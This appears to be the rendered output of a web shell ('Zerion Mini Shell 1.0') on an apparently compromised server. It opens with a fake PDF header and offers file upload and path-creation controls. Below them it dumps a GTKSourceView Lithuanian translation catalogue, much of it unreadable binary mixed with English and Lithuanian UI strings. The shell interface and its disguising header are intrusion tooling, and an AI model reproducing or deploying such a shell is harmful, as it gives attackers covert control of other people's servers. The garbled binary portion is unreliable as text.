%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/lt/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/lt/LC_MESSAGES/gtksourceview-3.0.mo

��kt�� 	!	'	+	;	K	R	Y	b	i	p	
�	
�	�	�	{�	=
D
U
h
|
�
�
)�
/�
0�
&+RFb5����	/FO_n
�����
�S�"
);
e
�
�
�
�
�
�
-�
�
�
�
#;AHQZ
cnu"��������
���' ,^M����%�
��-4<HU[co8u��3�"X8�1�����
#*9BS Z{���x�AH[o
���*�>�@(W�6�8�6.J
y����
����Sg,�%���
��	�)
:Hfx����	���	�
��(4E	Xbqx|���"� �G�*29	BHL��<���
9DP
f7q,��F�(.cW�+�b=U?-K[Ca
1dR#DSE
Gg V:6P4Z%MY$	_ILA9+<F3XeTW&.]Bc8\!(,;"H^'Nk2>QJ/h*`Of@)i07j5AfterAllAll _Lower CaseAll _Upper CaseAlwaysArabicArmenianBalticBeforeBlue based color schemeC++ HeaderC/ObjC HeaderCG Shader LanguageC_hange CaseCannot create a regex for all the transitions, the syntax highlighting process will be slower than usual.
The error was: %sCelticCentral EuropeanChinese SimplifiedChinese TraditionalClassicClassic color schemeCobaltColor scheme used in the Kate text editorColor scheme using Solarized dark color paletteColor scheme using Solarized light color paletteColor scheme using Tango color paletteCompletion InfoConversion from character set “%s” to “UTF-8” is not supportedCould not open converter from “%s” to “UTF-8”CyrillicCyrillic/RussianCyrillic/UkrainianDOS BatchDark color scheme using the Tango color paletteDisabledDjango TemplateDocument WordsError during conversion: %sFile too big.GDB LogGeorgianGreekHebrewHebrew VisualHighlighting a single line took too much time, syntax highlighting will be disabledIncomplete UTF-8 sequence in inputInvalid byte sequence in conversion inputInvalid object, not initializedJapaneseKateKoreanLLVM IRLeadingMarkupMissing main language definition (id = "%s".)NewlineNon Breaking WhitespaceNordicNot a regular file.OblivionOpenGL Shading LanguageOtherOthersProviderRPM specRomanianScientificScriptSelect a StyleShow detailed proposal informationSolarized DarkSolarized LightSourceSouth EuropeanSpaceTabTangoTera TemplateTextThaiThe buffer contains invalid characters.The file is externally modified.There was a character encoding conversion error and it was needed to use a fallback character.TrailingTurkishUnicodeUnknownUnknown id “%s” in regex “%s”VietnameseWestern['UTF-8', 'CURRENT', 'ISO-8859-15', 'UTF-16']_Cancel_Details…_Invert Case_Redo_Select_Title Case_Undocontext “%s” cannot contain a \%%{...@start} commandduplicated context id “%s”gettext translationin regex “%s”: backreferences are not supportedinvalid context reference “%s”style override used with wildcard context reference in language “%s” in ref “%s”unknown context “%s”using \C is not supported in language definitionsProject-Id-Version: lt
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gtksourceview
POT-Creation-Date: 2019-05-05 16:08-0700
PO-Revision-Date: 2018-08-11 22:00+0300
Last-Translator: Aurimas Černius <aurisc4@gmail.com>
Language-Team: Lietuvių <gnome-lt@lists.akl.lt>
Language: lt
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Gtranslator 2.91.7
Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n%100<10 || n%100>=20) ? 1 : 2);
PoVisiViskas _mažosiomisViskas _didžiosiomisVisadaArabų šaliųArmėnųBaltijos šaliųPriešMėlynos pagrindo spalvų schemaC++ antraštėC/ObjC antraštėCG šešėliavimo kalbaPa_keisti registrąNepavyko sukurti reguliariojo reiškinio perėjimams, sintaksės ryškinimas bus lėtesnis nei įprasta.
Klaida buvo: %sKeltųCentrinės EuroposKinų supaprastintaKinų tradicinėKlasikinisKlasikinė spalvų schemaCobaltKate redaktoriuje naudojama spalvų schemaSpalvų schema, naudojanti apšviestą tamsią spalvų paletęSpalvų schema, naudojanti apšviestą šviesią spalvų paletęSpalvų schema, naudojanti Tango paletęUžbaigimo informacijaKonvertavimas iš „%s“ į „UTF-8“ nepalaikomasNepavyko atverti konverterio iš „%s“ į „UTF-8“KirilicaKirilica/RusųKirilica/UkrainiečiųDOS komandų failasTamsi spalvų schema, naudojanti Tango paletęIšjungtasDjango šablonasDokumento žodžiaiKlaida konvertuojant: %sFailas yra per didelis.GDB žurnalasGruzinųGraikųHebrajųHebrajų vizualiVienos eilutės ryškinimas užtruko per ilgai, sintaksės ryškinimas išjungiamasNepilna UTF-8 seka įvestyjeNetinkama baitų seka konvertavimo įvestyjeNetinkamas objektas, neįnicializuotaJaponųKateKorėjiečiųLLVM IRPriekinisŽymėjimasTrūksta kalbos apibrėžimo (id = "%s".)Nauja eilutėNepertraukiama tuščia vietaŠiaurės šaliųNe įprastinis failas.OblivionOpenGL šešėliavimo kalbaKitiKitiTiekėjasRPM specifikacijaRumunųMokslinisScenarijusPasirinkite stiliųRodyti detaqlią pasiūlymo informacijąApšviesta tamsiApšviesta šviesiŠaltinisPietų EuroposTarpasTabTangoTera šablonasTekstasThaiBuferyje yra netinkamų simbolių.Failas buvo pakeistas išorėje.Kilo klaida konvertuojant koduotę ir teko naudoti atsarginį simbolį.GalinisTurkųUnikodasNežinomaNežinomas identifikatorius „%s“ reguliariajame reiškinyje „%s“VietnamiečiųVakarų Europos['UTF-8', 'CURRENT', 'ISO-8859-13', 'ISO-8859-15', 'UTF-16']_Atsisakyti_Išsamesnė informacija…_Invertuoti raidžių registrąPaka_rtoti_Pasirinkti_Pavadinimo registras_Atšauktikontekste „%s“ negali būti komandos \%%{...@start}dvigubas konteksto identifikatorius „%s“gettext vertimasreguliariajame reiškinyje „%s“: kartotinės nuorodos nepalaikomosnetaisyklinga konteksto nuoroda „%s“stiliaus nustelbimas naudojamas su pakaitinio konteksto nuoroda kalboje „%s“ nuorodoje „%s“nežinomas kontekstas „%s“\C naudojimas nepalaikomas kalbų aprašyme

Zerion Mini Shell 1.0